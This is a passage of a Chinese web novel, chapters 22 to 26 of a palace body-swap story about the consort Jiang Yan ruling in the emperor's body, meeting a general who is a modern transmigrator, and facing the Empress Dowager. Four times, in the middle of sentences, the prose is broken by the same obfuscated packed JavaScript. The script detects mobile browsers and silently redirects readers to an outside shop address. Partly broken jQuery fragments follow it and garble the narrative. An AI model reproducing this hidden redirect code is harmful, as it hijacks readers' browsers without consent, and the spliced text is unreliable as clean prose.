也不必再写了,姜言闷闷地想着,她并没有什么好东西能给杨太医。 杨太医不慕名利,也不太追求医术上的更进一步,他离名利只差一个投诚的距离,想要再精研医术也只需要告老还乡,他的心思只在宫里的特殊病例身上。 况且,其实,杨太医就算不站队,也不差什么。 是她最近对周围人太过温和了,让魏公公觉得是个机会,才会让杨太医过来混个熟脸,给他涨涨体面。 魏公公今年已有五十四岁,继续留在宫里,前途已经是走到顶了,就算是伺候皇上,终究也只是个伺候人的,他积攒了不少银钱,置办了多处宅院,出宫以后他就能过上衣来伸手饭来张口,丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459112|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不需在意旁人的悠哉日子。 杨太医的心思在宫里的病例上,魏公公的心思又在哪? 姜言喝茶呛住,心说总不会是在杨太医那里吧?杨太医觉得魏公公在宫里混得不好很可怜经常给他看病,魏公公觉得杨太医在太医院混得不好很可怜,双方都认为对方很可怜,最后一起可怜巴巴地留在了这里? 果然人还是要自私一点才能活得舒服,难怪当年娘亲知道她想进宫的时候会告诉她做人一定要自私一点。 姜言服了药,就又拿起了奏折来看,魏公公劝她休息,她听而不闻,杨太医发来医嘱,她视而不见,从现在开始,她就要做一个自私的人。 等到姜言稍稍清醒,高烧退了一些以后,她就立刻放下了笔。 现在不好好养身体,过两天辅国大将军回来她的计划就完了,万一大将军一看自己这个皇帝做得这么勤勉,觉得皇帝也很不容易就丢掉自己的异心了,那她这病生得,就白生了。 她把奏折一一清点好,交给了左相代为批阅,自己只偶尔抽查,这样过了两三天,姜言的脑子不那么晕了,高烧也彻底退了,她就觉得有些不对劲。 没有人教过她治国的道理,这些日子她学的东西也只能算是临时抱佛脚,像左相这种官场沉浮数十载的老人,看她大概就像绣娘看未出阁的丫头,她那些幼稚的想法在左相眼里恐怕是比绣成野鸭的鸳鸯还要不堪。 可左相他什么都没说,对她也总是一副十分恭敬的样子,姜言想不明白,也不敢直接去问,就怕越和左相相处对方越觉得她不像是皇帝,只能尽快恢复学习状态,每天掐算着时间尽量做到康复学习两不误。 日子就这样一天一天熬了过去,姜言总算熬到了和辅国大将军云问风见面的那一天,虽然她的身体还没有彻底养好,治国的道理也还是学得不怎么样,但是总算到了这一天,这段淡得像水忙得像火的修养生活,到今天总算是要结束了。 姜言早晨用冰水抹了脸,当时揽镜自照,自觉镜中人面色红润神光满面,除了怎么都消不下去的黑眼圈以外,还是很有精神的,可是这一双黑眼圈实在是太过明显了,到时候可能还是要被好好关心一番,姜言想着想着还觉得怪不好意思的。 时间越来越晚,她的眼皮也越来越沉,等到午时,辅国大将军才带着军队进了城,姜言出宫相迎,远远地就看见了他的身形,先是觉得这人长得真高,难怪这么能打,等到离得近了,姜言呼吸一滞,她没想到,世界上居然会有这么好看的人。 鬓若刀裁,目若朗星,肤色仿佛月色,云问风坐在马背上,姜言坐在轿辇上,比他矮了一些,更觉得他气势十足,接着他就气势十足地抽了抽嘴角,面无表情地看着姜言。 姜言被他这奇怪的表情惊得睁大了眼睛,很快又微微阖上双眼,眼中有了些怒意。 他在对她甩脸色。 他居然敢给她甩脸色,从小到大,就没有人给她甩过脸色,萧旭都不敢,这家伙是哪来的狗胆? “走吧,”云问风催马上前,阴阳怪气地唤了她一声:“陛下。” 陛下…… 噢,他是想给萧旭甩脸色。 姜言眨了眨眼睛:“好的,朕这就走。” 23. 第 23 章 这次云问风回来以后见到的皇帝很奇怪。 给他的赏赐多得可怕就不说了,再多也是应该的,可是皇帝现在对自己的态度实在是太奇怪了。 这具身体的视力很好,云问风可以很清晰地看见皇帝脸上的每一个毛孔,能看清楚他雍容又做作的姿态,也能看清楚他眼底的愤怒。 可只是一眨眼间,他就放下了那些情绪,而且与从前那副喜怒不形于色的样子截然不同,他脸上带着十分纯粹的笑意,这份笑意似乎全然发自真心,格外地有感染力,让云问风都有些不好意思再嘲讽他了。 姜言坐在上首,文武分列左右,她听着宫内编钟奏响的战歌,畅想着国家分崩离析,姜家重归世家巅峰地位的美好未来,笑得极为真挚,武将们见皇上对云问风如此青眼有加,也都抬了抬头,挺了挺胸,感到与有荣焉。 宁国的文臣们就不高兴了。 本朝重文轻武,武将就只有给文臣端茶倒水的份,这次给云问风开的庆功宴居然要他们来当作陪的,与以往情形有若云泥之差,况且云问风还是擅离京城,本就有罪在先,此次甫一回京又对皇上不敬,恐怕是已经有了反心。 可皇上这些天还派人四处宣传云问风的功绩,今日对他的态度更是礼遇至极,完全没有要压一压他的声威的意思,兼之个别武将自觉总算扬眉吐气以后的稍许挑拨,左相就坐不住了,直接在宴会上向姜言提醒道:“陛下,虎符何时收回?” 姜言被左相问得一愣。 虎符是什么东西她是明白的,调兵的信物是应该尽早收回,但是,云问风好像没有虎符,他是擅自离京的。 难道从前萧旭给过他虎符,她看漏了过往的公文? 姜言不敢随意答话,她谨慎地斟酌了一番,才回答道:“诸公只需共饮,今日莫谈国事。” 此话一出,在座的文臣们只好咽下心中的怨气,再一看被他们声讨的中心人物云问风还老神在在地坐在武将首席喝着新进贡的美酒,仿佛一拳打在了棉花上,拳头发热牙痒痒。 云问风就很懵,想不明白为什么这么一问一答以后,这些文臣们看他的眼神突然就幽怨了起来。 他没有虎符啊,要收也是收上都护田崭的虎符吧?可能意思是田崭要升官了不让他继续守边了?所以田崭要升官看他干嘛? 在场像他这么懵的另外就只有一个姜言,其余文臣武将们心照不宣地各自忍气吞声扬眉吐气,有些老臣眼看着已经是一副心疾将要复发的样子了,老将还好,老将身体比较健康,暂时没有什么不良反应。 姜言开始怀疑酒里是不是加了点什么不该加的东西。 云问风也开始怀疑这些人是不是肠胃有问题。 两人的目光十分凑巧又理所当然地撞在了一起,在这一瞬间,双方都发现了,这里还是有同类的。 云问风立刻移开了视线。 拒绝和恋童癖成为同类。 庆功宴结束以后姜言就留了云问风住在宫里,两个同样很懵的人坐到了一起,一起思考今天到底什么情况,尽管两人面上都是十分沉稳淡定,没有半点方才在宴会上的懵样。 “虎符之事,”姜言缓缓开口:“将军无需多虑。” “嗯。” 云问风当然不会多虑,他又没有虎符。 可姜言的意思是,你不用多想了,快点跟我说清楚虎符的事情,更深一层的意思就是虎符要是在你那就快点给我。 结果云问风既没有和她解释,也没有给她虎符,就只“嗯”了一声。 姜言开始觉得牙痒了。 她刚才就顾着傻乐了,没吃饱,就让人给他们加了个餐,然而云问风这个建模一点都不饿,脸上的表情也没有任何波动,姜言就这么被一个面无表情的人盯着吃饭,逐渐感到肠胃有些不适,只好中止了进食,顶着两个浓重的黑眼圈破罐子破摔地问他:“燕关的虎符在你那吗?” “不在。” 作为一国之君,连自己最重要的代表兵权的信物在哪都能忘记,真是绝了。 云问风玩过不少经营国家的题材的游戏,深知统治者的权利根源来自哪里,而且现代几乎人人都知道“枪杆子里面出政权”这句名言…… 这个皇帝不对劲。 从前的皇帝别说虎符了,连人都不让他离京,哪里像是一个不在乎兵权的人? 云问风的脸色逐渐严肃,姜言开始慌了。 既然虎符不在云问风身上,那么之前左相的意思就是要追究他擅自调兵的罪过。 而现在自己在问的话,就很有旁敲侧击的嫌疑。 没有虎符如何调兵?不能调兵如何打仗?就算后来她给了云问风便宜行事之权,但在他擅离京城单骑前往燕关的时候,他是既没有虎符也没有“正名”的,只能靠个人去调兵,而且既然他擅离京城去了燕关,就说明他认为自己是有靠脸调兵的能力的。 要是真的靠他这张脸就能调到兵,那这就是一件关乎国家存亡的大事,应该要好好治罪了。 况且,哪个皇帝会忘记虎符在哪里?如果她是云问风,这时候也一定已经想到了这一点,她的这段问话的意思,就仿佛是在告诉他,她不信任他。 那么,这个时候,一个有不持虎符就能号令三军的能力的大将军,一个不太听话还会对皇帝阴阳怪气甩脸色的大将军,在只有两个人的殿内,会对她这么一个手无缚鸡之力的皇帝做出什么惨无人道惨绝人寰的事情? 现在她唯一的想法就是很对不起神仙佛祖们,还不知道是谁给她的第二条命,就要这么被她祸祸掉了。 云问风却对她说:“你不是萧旭。” 姜言睁大了眼睛。 云问风看她的反应就知道自己猜中了:“你这脸色,是替萧旭批奏折熬夜熬的?我还以为他又有了新的年轻后妃。” “年轻”两个字被刻意咬重。 姜言茫然地应道:“啊?呃,是的。” 萧旭是不会这样熬夜的,她也确实是批奏折熬的夜,梨宫也是一个特别好看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459113|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后妃,毕竟是她曾经引以为傲的幼妹。 所以,其实全中了。 “你是从哪里来的?” 云问风极为失礼地直接用手抓了她碟子里的点心,一边吃点心一边问她,姜言人在屋檐下,顾不得管他什么有礼失礼,只低头遮掩住自己的眼神,犹豫着说道:“我是从丹洛来的,听你的口音,应该和我不是一个地方的人。” “丹洛?我没听说过这个地方,丹洛是在哪个省?” 省是什么? 姜言心中十分迷茫,她在试图骗过云问风和说实话之间犹豫了一会儿,还是选择了说实话。 虽然说实话不知道对方会不会相信,但是显然撒谎骗人更容易被看穿,毕竟她对他所说的东西是真的一无所知,无从造假。 “我不知道什么是省,我家祖籍丹洛,是当地的名门望族。” 结果是个封建地主,云问风有点扫兴。 “不是现代人?”他拘谨地收回了手,想了想,又抓了点心继续吃:“你家是不是有很多田地?” “是有的。” 家里的财务都是由祖母掌管,她也跟着祖母学过一些东西,姜言对自己家的田产还是有些了解的。 还真是个地主,云问风接着问道:“你想用皇帝的身份做些什么?” 姜言不好直说她想让宁国灭国,只说了一些眼下的事情:“我暂时还不明白该做什么,我没有学过治国的道理,只会一些琴棋书画之类的东西,现在我连批阅奏折都很勉强,至于掌握皇帝这个身份,恐怕都还要等到很久以后。” 云问风也没学过该怎么治理古代封建王朝,萧旭可能学过,但是萧旭这个人云问风没法跟他相处,新皇帝治国可能不太行,但是至少能好好说话。 “你叫什么名字?” “朱言。” “好斯文的名字。” 姜言想不明白朱言这个名字有多斯文,云问风的一只手已经搭到了她肩膀上:“既然都是穿越者,我们也已经互相了解过了,以后我们就是好朋友了!” 什么穿越者?什么好朋友? 看着姜言一脸状况外的表情,云问风吃下了最后一块点心:“既然都已经是一辈子的好朋友了,能不能分我几个御厨?” “啊,好说,可以,我这就去安排。” “还有一件事,吃完这顿饭我可以离京吗?” “可以,随时都可以。” 姜言特别希望云问风早日离京去招兵买马杀回京城。 云问风见她眼圈重得跟大熊猫一样,想必是每天都在认真处理政务,而自己只想着出去玩,也不知道将军随便离开京城会给她带来多大麻烦,心里突然就有点过意不去,于是向姜言问道:“要不要我给你带点好吃的回来?” 姜言渐渐感到了些许的不对劲,这人怎么三句话不离好吃的?可能将军是都比较能吃吧?姜言记得小时候看过的典故是有这么一说。 原来武将真的都是这个样子的啊,都这么贪吃啊。 24. 第 24 章 在云问风从燕关班师回朝的时候,太后也从皇庄上回到了后宫内。 太后本来是不想回宫的,她听说姜言出了事,这才回来了。 太后对皇帝很失望。 她也是世家出身,姜言是她千挑万选选出来的性子最温和的世家女,人好拿捏,背后的姜家向来也是最爱惜羽毛的,一身清名不敢随意抛舍,有这样的岳家在朝中为他谋划,萧旭的为皇之路可以说是异常好走的。 可他偏偏放着康庄大道不走要过独木桥,居然打压世家去提拔寒士,寒士哪有世家子弟好用?世家子弟从小就会学习如何做一个好臣子,如何让世家绵延万代不改,寒士各有各的心思,皇帝才几岁,就敢用他们? 现在事情闹得这么大,她其实很不想回来,就算叫她回来,她也不敢保证能解决这些问题,不如继续在皇庄上呆着,再多置办些庄子,以后改朝换代时还能有个去处。 太后回宫的第一件事,就是把“姜言”从地牢里接了出来,把“萧旭”从御书房里叫了出来,让他们把情况给她说清楚。 萧旭还没死,但是情况看起来特别惨,惨到太后给她赐了个床躺着,姜言就在边上跪着。 太后眼色幽深地看着姜言:“皇帝先说。” 姜言眨了眨眼睛,她还没来得及开口,萧旭先颤颤巍巍地说了话:“都是……臣妾的错,不要责怪陛下……” 他这么一说,姜言感觉太后看她的眼神更不对劲了,仿佛今天太后就要大义灭亲灭了她这个逆子。 这种时候,显然不能再说“母后你听我解释”这样的话,姜言一咬牙,干脆在地上向萧旭磕了三个响头。 姜言还穿着上朝时的朝服,这样一磕头,事情就变得很不对劲了。 原先是皇帝迫害忠良,现在看着倒像是世家门阀逼迫皇家,太后倚着矮榻,用手指了姜言半天,才憋出了一句话:“明日朕便与皇帝一同上朝。” 姜言和萧旭同时抬头看了她一眼。 他们都知道事情很大,姜言没想到事情已经这么大了,萧旭觉得事情已经全完了。 太后作为皇帝的母亲,先帝的妻子,在奉孝道为尊,以妻者为齐的宁国,可以说是真正的上方空无一人的大人物,平时只需要偶尔管一管小辈,在特别时期,太后也可以执行皇帝更换和临朝称制这一类的大动作,本朝的太后在临朝称制期间应当自称为朕,也就是说,从这一刻开始,皇权就从姜言手里转移到了太后手上。 虽然和姜言让太后回来的初衷不符,但是她熬夜也确实是熬不下去了,太后能来也挺好的,反正她已经把云问风放出去了,暂时也想不出来有什么能比把一个特别有声望的武将放在外面不管这种事破坏力更大的手段了。 萧旭则是一副大势已去的脸色,太后出身于祁连王氏,王家行事最是蛮横,他自己想打压世家一系都不敢对王家下重手,而且太后一旦掌权,他就再也不可能借现在的身份回归到权力的中心。 虽然他变成了女人,失去了堂堂正正地去做一个君王的机会,但是萧旭还是没有死心,他认为就算是做女人,以他的能力,也能成为一个让姜言必须对他言听计从的女人,毕竟姜言什么都不懂,她贪玩惫懒,几乎可以说是完全不通政事,可是母后插手了就不一样了,姜言她只要能听母后的话,就绝对不会听他的话。 他们这些世家贵族向来是沆瀣一气,从不把他这个皇帝放在眼里。 太后见萧旭脸色不好,瞪了姜言一眼:“皇帝,你这几日好好陪陪贵妃。” 姜言隔了好一会儿才反应过来,是叫她多陪陪萧旭,她反应过来以后立刻应声道:“是,母后。” 她态度还算恭敬,事情太多,太后也不想再和她多说闲话,起身去了御书房,姜言想了想,带萧旭去了长乐宫,是她从前住的宫殿,姜言只是看着宫墙外的飞檐都觉得很是亲切,刚进殿就想让翠翎给她拿些蜜饯来甜甜嘴,很快又想到自己现在的身份,只能暂时先忍住。 姜言对萧旭也没什么好说的,多看他一眼她都觉得厌烦,萧旭则与她不同,他必须要和姜言好好谈谈,尽量把她争取到自己身边。 所以他还是屏退了宫女太监们,尽力跟姜言搭话:“朝上的事务,你近日处理得如何?” 这个问题就问得姜言心里很没底。 朝堂上那些臣子就像后宫里的妃嫔宫女一样,平日里都是换着法子夸她,只偶尔有与她意见不同的大臣对她以死相谏,问及详情,也不过都是些多派一人或少派一人这样的小事,而如今不知是不是由于她太过听话的缘故,现在在朝上进谏的人越来越多了,姜言觉得这应该是一个好现象,大家都愿意说自己的话了,又怀疑自己是不是总在犯错,才让朝堂上这么多人都有事可谏。 先前朝上一片歌功颂德是不好看的,可近日里文臣们对她这样口诛笔伐也是十分不好看的,可先前那样看上去只是大臣们惧怕皇帝,现在这样,姜言很怀疑自己是不是真的做出了什么不利于百姓的事。 萧旭见她有些迟疑,接着说道:“从前那些事你不懂,往后你就会明白,我也是不得已,况且现在我只是个女人,也只有我了解你的情况,你我完全可以互相帮助,做好对方。” 姜言对他笑了笑,萧旭这些年很少见到自己笑,他忙着去思考朝上的争斗,每日束发戴冠时对镜只见拧眉,不见半点笑意,姜言突然对他一笑,他才想起自己的笑容原来是这样。 也不全是这样,毕竟里面换了个人,姜言的笑和他不同,她笑得很是无所谓,或者说很是放肆,没有他那么谨慎,这一笑就是很纯粹的笑,她是真的觉得他说的话很好笑,她甚至笑出了声。 萧旭怔了一会儿,又听见她用自己的男声说道:“你该叫朕皇上。” 萧旭的心沉底了。 他说话前思考了很久,才让自己说话时没有吐出过一次“朕”字,如今他是后妃,她是皇帝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459114|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他为臣,她为君,形势已经逆转,他唯一的优势就是她也许看不懂形势。 现在她让他称呼她为皇上,还自称为朕,显然是已经什么都想明白了,她往日里的那些任性,那些不懂事,那副贪玩惫懒的样子,只怕都是做给他看的。 然而姜言其实只是单纯地不想理他。 她虽然不通政务,却也懂得一些为人的道理,萧旭是个独断专权的皇帝,他对皇权是有欲望的,对治国平天下是有野心的,她则是个混日子的,还一心盼着天下大乱,最好是能让姜家取天下,她和萧旭的目标,他们的“道”是相反的,不同的,道不同,不相为谋。 理他不如去看看她的琉璃,现在她还不方便把它接到皇帝的寝宫里,宫里人惯会捧高踩低,她的琉璃这段时间也不知道有没有肉吃,琉璃从来都是只吃肉不吃素的,等会儿要是让她看见琉璃饿瘦了,她就,她好像也不能咋样…… 琉璃喜欢晒太阳,姜言就往殿后的小院子里走,院子里从日出到日落都能晒到太阳,她的琉璃比她更像贵妃,只是那么随意地往榻上一躺,就有说不出的贵气。 姜言踏入院内时,就注意到桃树下的小软塌不在了,再去看她自己做的小猫窝,也是已经没有了,姜言在殿里殿外转了一大圈,萧旭拖着一身的伤跟不上她的脚步,最后她一个人走进了主殿,让魏公公给她烧些热水,她要沐浴更衣。 她好久都没有穿过朝服以外的衣服了。 人走茶凉,连猫都跟着遭殃。 她原本就知道琉璃会过得很不好,却没有想到会是这样不好,它的碗都被宫人拿走了,那只是一个普通的木碗,什么装饰都没有的普通木碗,他们居然连琉璃的木碗都要抢,这宫里还有谁会缺一个木碗吗? 琉璃它只是一只猫啊,就算是她姜言的猫,可是琉璃它很会抓老鼠的啊,它很厉害很有用,为什么他们就非要和一只猫过不去?他们是不是疯了?为什么啊? 就算她现在就去清查是谁动了琉璃,也已经晚了,琉璃是一只猫,谁虐待它了它也不会说,谁饿着它了它也不会闹,不知道它是离开这里出去捉老鼠了,还是已经死在这里了,就算再找到它,它会认萧旭还是认她?在太后临朝称制期间,她还不能动萧旭,琉璃如果只认萧旭,她就不得不去好好陪着他了,她不懂政务,如果听了萧旭的话,被他引导了想法,恐怕她就再也见不到爹娘了,姜言在爹娘和琉璃之间做选择不需要犹豫,毕竟琉璃只是一只猫。 可她还是觉得很难过,琉璃只是一只猫,她觉得很难过。 她在主殿难过,萧旭在卧室里也觉得很难过。 姜言要在长乐宫沐浴更衣,萧旭就也被宫女们催促着去沐浴更衣,毕竟皇帝来妃子的宫里沐浴,除了要临幸妃子以外好像也没什么合理的原因了。 姜言还在十分难过地怀念着她的心上猫。 萧旭站在池边,看着水中活色生香的女子倒影,心情就像日了狗。 25. 第 25 章 这群宫人可不像从前在姜言手下那么听话了,从前的姜言从不收买人心,她是世家出身,入宫以后一直身居高位,治下只需凌之以威,萧旭先前的所作所为让姜言威严扫地,让整个后宫都知道姜家没了,姜言已经没有了朝中的倚仗,姜言还去未央宫走过一回,让后宫里的人都觉得皇帝最爱的人还是皇后,如今的萧旭在宫人们眼里既不算尊贵,又没有皇帝的宠爱,她甚至连孩子都没有,年纪也不是十三四岁那样如花苞般娇嫩的年纪,在后宫的主子里已经排不上号了。 只是如此也就罢了,她们解开了萧旭的衣裳以后,看见了里面丑陋可怖的伤疤,更是觉得萧旭再也没有爬起来的希望。 连萧旭自己看着姜言现在的身体都觉得头皮发麻,要是等会儿让姜言看见了,还不知道她会怎样嘲讽他。 姜言沐浴更衣以后就去睡了,她心情不太好,加上连日劳累,看见自己的宫殿自己的大床就觉得特别亲切,她撩开被子就躺了进去,等到萧旭清理干净身体,走到房间里的时候,姜言已经在做梦了。 魏公公也去休息了,换了他的干儿子徐公公在姜言身边守着,徐公公为人耿直,姜言没说要临幸妃子,就算她已经洗了澡换了衣服还上了妃子的床,徐公公也要坚决不让萧旭上床。 萧旭就和徐公公据理力争。 他害怕的是跟已经是男人的姜言上床,不害怕跟用了他的身体的姜言同榻做梦,他只需要去姜言的床上躺下,在后宫里的地位就能比现在高出一大截,他绝对不会错过这个机会。 可徐公公是真的很耿直,无论萧旭摆出什么道理,他就只用一句“奴才听皇上的”来顶回去,皇上在睡觉,他就谁的话都不听,萧旭也是真的很努力,就算徐公公这样子摆明了是个木头,他还是试图用语言和木头好好谈判。 他们这样没完没了地吵来吵去,就把姜言吵醒了。 姜言起身的时候,萧旭在说“贴身伺候皇上是后妃的职责”,姜言听着觉得刺耳,从床上起来以后就走出了这间卧房,想了想,又把徐公公叫上一起去了另一个卧房,那原本是给她的孩子准备的房间,她从前没有孩子,所以这个房间随时都可以住人。 萧旭也跟了过来,轻薄的纱衣透出了他身上的伤疤,受伤的腿脚让他的步伐很是踉跄,天色很晚,姜言刚睡醒,看着自己的身体落到这副模样,心中有些不忍,然后就想到姜家,又觉得萧旭活该,她叹了口气,开口问道:“你怎么不回卧房去睡?” 萧旭也是困得狠了,他在地牢里也没有睡上几个好觉,刚才和徐公公骂出了火气,神志不太清醒,这才跟了上来,现在姜言眼里带着怜悯来问他,他才感到有些不妙。 他从前身为皇帝,看上一个女人往往不是因为诗书中所提到的爱,而是因为怜悯,后宫里有孤苦寂寞的高位嫔妃,有逆来顺受的低位美人,还有被人任意呼来喝去的卑贱奴婢,只要让他有了怜香惜玉的心思,他就会给她们生下一个他的孩子的机会。 对于宫里的女人来说,孩子是最重要的。 萧旭就怕姜言怜悯他也要给他一个孩子,一想到要被一个男人压在身下,这个男人的身体还是自己的,他就觉得浑身难受头皮发麻,人都快疯了。 不行,他要拒绝她,不能让她起歪心思,萧旭回忆了一下从前在后宫里他最不可能会怜悯的女人,试图临时取经,却发现这个女人好像就是姜言。 姜言其实是个很乖顺的女人,她从来不会反驳他,但同时也从来不会讨好他,更不会对他撒娇,她乖顺得不像是个女人,萧旭知道,她的乖顺是因为她不像别的妃嫔那样在意他,她有姜家给他撑腰,按理说他就应该把她像明珠一样珍藏,可他厌恶姜家,她就只能落在长乐宫里生尘。 现在轮到他落在长乐宫里,萧旭反思了一番方才自己的行为,主动退了一步,解释道:“是宫人催我过来。” 姜言点了点头:“那你回去吧,我自己睡这边。” 萧旭看出了姜言眼中的嫌弃,心说这家伙怎么翻脸比翻书还快,同时又松了一口气,暗自庆幸自己逃过一劫,等到他回了卧房,才想到姜言的嫌弃是因为什么。 从前她都不愿意讨好他,怎么可能变成了皇帝就愿意了?他不想被男人压在身下,那姜言难道就很想去压一个女人吗? 这才过了十来天,他都还没有习惯去做一个女人,姜言怎么可能习惯去做一个男人?只怕她现在还是更喜欢男人。 也就是说,他的身体,以后可能会被男人…… 可恶,这简直是奇耻大辱! 萧旭愁得夜不能寐,姜言倒是睡得很好,第二天起床吃饭看见萧旭顶着俩熊猫眼还十分关切地问候了他一番,被甩了两个大白眼以后才心满意足地穿着朝服离开长乐宫,去往金銮殿。 金銮殿前坐着太后。 临朝称制自然是要上朝的,姜言坐到了太后身边,听着殿内群臣汇报政务。 今日云昼城内有一庄奇案,在这座被新帝更名为云昼的京城里,发生了一件只有传说中的永夜幽都才会发生的稀奇事。 有江湖人士打杀数百平民,闯入宫禁,在斩杀了数十大内高手以后,直冲未央宫而去,今早再看时,皇后已经不知所踪,徒留她一身衣裳钗环,刑部调差至早朝前,查出后花园中有一滩血水,血中有黑色发丝和化血药粉的气味,皇后恐怕已经遭遇了不测。 姜言的心情有点复杂,皇后遇害她挺难过的,但是她想不明白,为什么杀人凶手就非得把血水倾倒在后花园,未央宫在宫城中央偏后一点点,而后花园在宫城极北处,这些江湖人士轻功真厉害。 太后向殿内群臣问道:“辅国大将军云问风何在?” 云问风刚被姜言放了出去,太后不知道,殿内群臣也不知道,当即便有文臣列出云问风的不敬之罪十数条,正念到兴头上,姜言不好意思地清咳了一声:“朕让云将军出去给朕带点好吃的回来,大概再过段时间就能带回来了。” 太后冷冷地看了她一眼,姜言顿时讪笑着低下了头。 她这么一低头,殿内的文臣们更是张狂了,云问风的罪状越加越多,针对姜言的谏言也一条条列了起来,大有今天就要跟皇帝他娘告死皇帝的架势。 太后把众臣的要求一一听完了,还点了名字官职挨个确认,有的人很快闭了嘴,有的人已经发觉了不对,默默往后站了些,还有不少文臣依然冲在前面,当着太后的面对着皇帝就是一顿责骂。 姜言悄悄抬头看了看太后的脸色,御案突然一响,她就听见太后说道:“御史台众臣以外,冒犯君威者,杖毙。” 杖毙,就是用重杖一杖一杖地将人活活打死。 只是想一想姜言都觉得很疼,她有些坐不住了,但是她实在是不通政务,太后比她了解太多,她明白她不该在自己不了解的地方去对了解的人指指点点。 “皇帝,你有意见吗?” 太后点到了姜言。 “有。” 既然太后问了,她也就如实答了:“杖毙太过严重,儿臣身为皇帝,本应不以言罪人。” 太后接着问她:“何谓言?” 姜言不明白太后这是在问什么,她直接回答道:“言,即是言论。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459115|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 太后否定了她的回答:“此为政见,非为言论。” 是政见吗?按照太后的意思,朝中当真有这么多人觉得她做得不好?可若当真是他们的政见,他们现在又何必跪在殿下发抖? 姜言见太后还是在看着自己,就继续向她倾吐自己的想法:“儿臣以为,他们不过是一时意气,还远未到政见的地步。” 太后对她微微一笑,姜言以为自己说对了,松了一口气,这一口气还没松完,就听太后对她说道:“百姓可以有一时意气,百官不可以意气治人,你身为天子,便要统帅朝廷以昭天之理,他们身为朝中重臣,凡事皆应以天理道德为要,而非以势为向,以利为尊,以意气乱天下。” 这话前半段是在教导她,后半段就是在教训殿内众臣了。 那几位大臣还是被拖了出去,姜言眼看着御前侍卫把他们拖了出去,想到自己的父亲被赶出这里时不知是否也是这般光景,她想要抬手喝止,想说只要废去他们的官职就足够了。 “姜卿何时还朝?” 姜言听到太后的问话,立刻断了心思,只专注去听吏部尚书的回答。 “回陛下,姜公一行已达京畿之内,十日内便可还朝。” 十日内便可还朝,那,她很快就能见到父亲了。 可是,她只能用萧旭的身体去见父亲,先前萧旭还对姜家做了那么过分的事,姜言皱紧了眉,她这几日里的茫然辛苦不知所措,都比不上这一刻的压抑心情来得沉重,后面太后和朝臣们说了什么她都没有听进去,直到魏公公提醒她可以离开了,她才从王座上站了起来,迷迷糊糊地离开了金銮殿。 太后也离开了金銮殿,她已经在御书房里批折子了。 姜言发觉这里好像不需要自己来处理了,想要转身离开,却被太后叫住,让她坐在桌边看着。 姜言听话地坐了下来,太后没有看她,只看着奏折说:“你今日在朝上,可是在怨我不该关心姜习?” 姜言摇了摇头,她当然不会因为这件事怨怪太后,她比太后更关心爹爹的安危。 “你资历尚浅,不足以统御士人,那些寒门子弟,能以一己之力跨越千百年间沉淀下来的门第,个个都不是简单人物,不是现在的你能用得了的,你明白吗?只有像姜习这样的清贵世家,才是值得我们信赖的助力。” 那是自然,姜家人就是最好的。 姜言矜持地挺直了腰杆:“我明白了,母后。” 太后看她一眼,笑了一声:“旭儿,你要记得说‘朕’,不要说‘我’,这是跟谁学的毛病?” 姜言蔫了:“母后不也常是说‘我’吗?儿臣就必须说‘朕’?可是,朕,朕不配为‘朕’啊,朕有好多东西都不会做,每次说‘朕’都觉得好丢人,母后回宫了可以说‘我’,朕为什么不能呢?” 何止是丢人,简直就是羞耻,让她一个久居深宫的后妃去面对一群博学鸿儒,姜言每天都觉得很受打击,从内到外,从心里到具体政务上都很受打击。 太后顿了一下,放下了笔,转过身握住了她的手,太后的手有些冷,姜言的手很暖和,太后的手比她要小,她用她的小手把姜言的大手并在一起握住,衣袖一掩,倒显得姜言的手反而比她要小了,她笑着对姜言说:“旭儿,你今日在朝上的表现,让母后很是高兴。” 姜言被她这话说得呆了,她今天上朝的表现在她看来无异于科举裸考,她想不明白太后能高兴什么。 “你对文臣的谏言没有丝毫怒意,对武将的行迹没有丝毫疑心,”太后缓缓与她说道:“这便是为帝王者最难得。” 26. 第 26 章 姜言人都听傻了。 她把云问风放出去乱跑还成了“为帝王者最难得”? 